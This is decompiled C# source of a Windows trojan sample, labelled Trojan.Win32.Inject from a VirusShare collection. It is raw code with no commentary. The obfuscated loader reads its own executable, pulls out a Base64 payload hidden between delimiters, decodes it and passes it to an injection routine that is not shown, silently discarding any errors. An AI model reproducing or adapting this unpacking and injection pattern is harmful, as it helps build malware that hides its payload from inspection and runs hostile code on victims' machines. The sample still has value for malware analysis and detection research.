// Decompiled with JetBrains decompiler // Type:  // Assembly: Ressource, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 7A61D5AB-B799-4526-BF58-A6DA1297213F // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Inject.ancbn-87991063fbeea430cdbe9586022ccd45abc0d3ca50af32983044f034c3072515.exe using System; using System.IO; using System.Windows.Forms; internal class \uE009 { private static byte[] \uE000; private static void Main() { try { \uE00A.\uE000(Convert.FromBase64String(\uE009.\uE000(File.ReadAllText(Application.ExecutablePath), \uE00B.\uE000(31), \uE00B.\uE000(45))), string.Empty, Application.ExecutablePath); } catch { } } private static string \uE000(string _param0, string _param1, string _param2) { string str = (string) null; for (int startIndex = _param0.IndexOf(_param1) + _param1.Length; startIndex != _param1.Length - 1; startIndex = _param0.IndexOf(_param1, startIndex) + _param1.Length) str = _param0.Substring(startIndex, _param0.IndexOf(_param2, startIndex) - startIndex); return str; } }